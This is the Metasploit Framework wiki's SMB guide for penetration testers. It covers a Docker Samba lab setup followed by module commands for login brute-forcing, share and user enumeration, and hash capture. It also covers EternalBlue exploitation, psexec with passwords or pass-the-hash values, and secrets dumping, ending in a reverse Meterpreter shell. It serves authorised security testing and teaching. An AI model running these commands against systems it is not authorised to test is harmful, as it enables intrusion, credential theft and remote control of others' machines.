docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md
SMB (Server Message Blocks), is a way for sharing files across nodes on a network.
There are two main ports for SMB:
Other terminology to be aware of:
Metasploit has support for multiple SMB modules, including:
There are more modules than listed here, for the full list of modules run the search command within msfconsole:
msf > search smb
Or to search for modules that work with a specific session type:
msf > search session_type:smb
When testing in a lab environment - SMB can be used on a Window's host machine, or within Docker.
For instance running Samba on Ubuntu 16.04:
docker run -it --rm --publish 127.0.0.1:139:139 --publish 127.0.0.1:445:445 ubuntu:16.04 /bin/bash
mkdir -p /tmp/foo
apt update
apt install -y samba
Verifying version is as expected:
$ samba --version
Version 4.3.11-Ubuntu
Configuring the share:
cat << EOF >> /etc/samba/smb.conf
[foo_share]
comment = Foo samba share
path = /tmp/foo
read only = no
browsable = yes
EOF
Restart the service:
service smbd restart
When using the smb_login module, the CreateSession option can be used to obtain an interactive session within the smb instance. Running with the following options:
msf auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username
Should give you output similar to
[*] 172.14.2.164:445 - 172.14.2.164:445 - Starting SMB login bruteforce
[+] 172.14.2.164:445 - 172.14.2.164:445 - Success: 'windomain.local\username:password' Administrator
[*] SMB session 1 opened (172.16.158.1:62793 -> 172.14.2.164:445) at 2024-03-12 17:03:09 +0000
[*] 172.14.2.164:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_login) > sessions -i -1
[*] Starting interaction with 1...
Which you can interact with using sessions -i <session id> or sessions -i -1 to interact with the most recently opened session.
msf auxiliary(scanner/smb/smb_login) > sessions -i -1
[*] Starting interaction with 1...
SMB (172.14.2.164) > shares
Shares
======
# Name Type comment
- ---- ---- -------
0 ADMIN$ DISK|SPECIAL Remote Admin
1 C$ DISK|SPECIAL Default share
2 foo DISK
3 IPC$ IPC|SPECIAL Remote IPC
SMB (172.14.2.164) > shares -i foo
[+] Successfully connected to foo
SMB (172.14.2.164\foo) > ls
ls
===
[truncated]
When interacting with a session, the help command can be useful:
SMB (172.14.2.164\foo) > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
exit Terminate the SMB session
help Help menu
irb Open an interactive Ruby shell on the current session
pry Open the Pry debugger on the current session
sessions Quickly switch to another session
Shares Commands
===============
Command Description
------- -----------
cat Read the file at the given path
cd Change the current remote working directory
delete Delete a file
dir List all files in the current directory (alias for ls)
download Download a file
ls List all files in the current directory
mkdir Make a new directory
pwd Print the current remote working directory
rmdir Delete a directory
shares View the available shares and interact with one
upload Upload a file
Local File System Commands
==========================
Command Description
------- -----------
getlwd Print local working directory (alias for lpwd)
lcat Read the contents of a local file to the screen
lcd Change local working directory
ldir List local files (alias for lls)
lls List local files
lmkdir Create new directory on local machine
lpwd Print local working directory
This session also works with the following modules:
auxiliary/admin/dcerpc/icpr_cert
auxiliary/admin/dcerpc/samr_account
auxiliary/admin/smb/delete_file
auxiliary/admin/smb/download_file
auxiliary/admin/smb/psexec_ntdsgrab
auxiliary/admin/smb/upload_file
auxiliary/gather/windows_secrets_dump
auxiliary/scanner/smb/pipe_auditor
auxiliary/scanner/smb/pipe_dcerpc_auditor
auxiliary/scanner/smb/smb_enum_gpp
auxiliary/scanner/smb/smb_enumshares
auxiliary/scanner/smb/smb_enumusers
auxiliary/scanner/smb/smb_enumusers_domain
auxiliary/scanner/smb/smb_lookupsid
exploit/windows/smb/psexec
Enumerate SMB version:
use auxiliary/scanner/smb/smb_version
run smb://10.10.10.161
Enumerate shares:
use auxiliary/scanner/smb/smb_enumshares
run smb://10.10.10.161
run smb://user:[email protected]
run 'smb://domain;user with spaces:[email protected]' SMB::AlwaysEncrypt=false SMB::ProtocolVersion=1
Enumerate shares and show all files recursively:
use auxiliary/scanner/smb/smb_enumshares
run 'smb://user:pass with a [email protected]' showfiles=true spidershares=true
Enumerate users:
use auxiliary/scanner/smb/smb_enumusers
run smb://user:[email protected]
Enumerate gpp files in a SMB share:
use auxiliary/scanner/smb/smb_enum_gpp
run smb://192.168.123.13/share_name verbose=true store=true
run smb://user:[email protected]/share_name verbose=true store=true
Create a mock SMB server which accepts credentials before returning NT_STATUS_LOGON_FAILURE. These hashes can then be cracked later:
use auxiliary/server/capture/smb
run
Metasploit has a module for MS17-010, dubbed Eternal Blue, which has the capability to target Windows 7, Windows 8.1, Windows 2012 R2, and Windows 10.
Checking for exploitability:
use auxiliary/scanner/smb/smb_ms17_010
check 10.10.10.23
check 10.10.10.0/24
check smb://user:[email protected]/
check smb://domain;user:[email protected]/
check cidr:/24:smb://user:[email protected] threads=32
As of 2021, Metasploit supports a single exploit module for which has the capability to target Windows 7, Windows 8.1, Windows 2012 R2, and Windows 10, full details within the Metasploit Wrapup:
use exploit/windows/smb/ms17_010_eternalblue
run 10.10.10.23 lhost=192.168.123.1
run 10.10.10.0/24 lhost=192.168.123.1 lport=5000
run smb://user:[email protected]/ lhost=192.168.123.1
run smb://domain;user:[email protected]/ lhost=192.168.123.1
Running psexec against a remote host with credentials:
use exploit/windows/smb/psexec
run smb://user:[email protected] lhost=192.168.123.1 lport=5000
Running psexec with NTLM hashes:
use exploit/windows/smb/psexec
run smb://Administrator:aad3b435b51404eeaad3b435b51404ee:[email protected] lhost=10.10.14.13 lport=5000
Dumping secrets with credentials:
use auxiliary/gather/windows_secrets_dump
run smb://user:[email protected]
Dumping secrets with NTLM hashes
use auxiliary/gather/windows_secrets_dump
run smb://Administrator:aad3b435b51404eeaad3b435b51404ee:[email protected]
Download a file:
use auxiliary/admin/smb/download_file
run smb://a:[email protected]/my_share/helloworld.txt
Upload a file:
use auxiliary/admin/smb/upload_file
echo "my file" > local_file.txt
run smb://a:[email protected]/my_share/remote_file.txt lpath=./local_file.txt
Details on the Kerberos specific option names are documented in [[Kerberos Service Authentication|kerberos/service_authentication]]
Running psexec against a host:
msf > use exploit/windows/smb/psexec
msf exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] 192.168.123.13:445 - Connecting to the server...
[*] 192.168.123.13:445 - Authenticating to 192.168.123.13:445|demo.local as user 'Administrator'...
[+] 192.168.123.13:445 - 192.168.123.13:88 - Received a valid TGT-Response
[*] 192.168.123.13:445 - 192.168.123.13:445 - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120911_default_192.168.123.13_mit.kerberos.cca_474531.bin
[+] 192.168.123.13:445 - 192.168.123.13:88 - Received a valid TGS-Response
[*] 192.168.123.13:445 - 192.168.123.13:445 - TGS MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120911_default_192.168.123.13_mit.kerberos.cca_169149.bin
[+] 192.168.123.13:445 - 192.168.123.13:88 - Received a valid delegation TGS-Response
[*] 192.168.123.13:445 - Selecting PowerShell target
[*] 192.168.123.13:445 - Executing the payload...
[+] 192.168.123.13:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 192.168.123.13
[*] Meterpreter session 6 opened (192.168.123.1:4444 -> 192.168.123.13:49738) at 2023-01-18 12:09:13 +0000
meterpreter >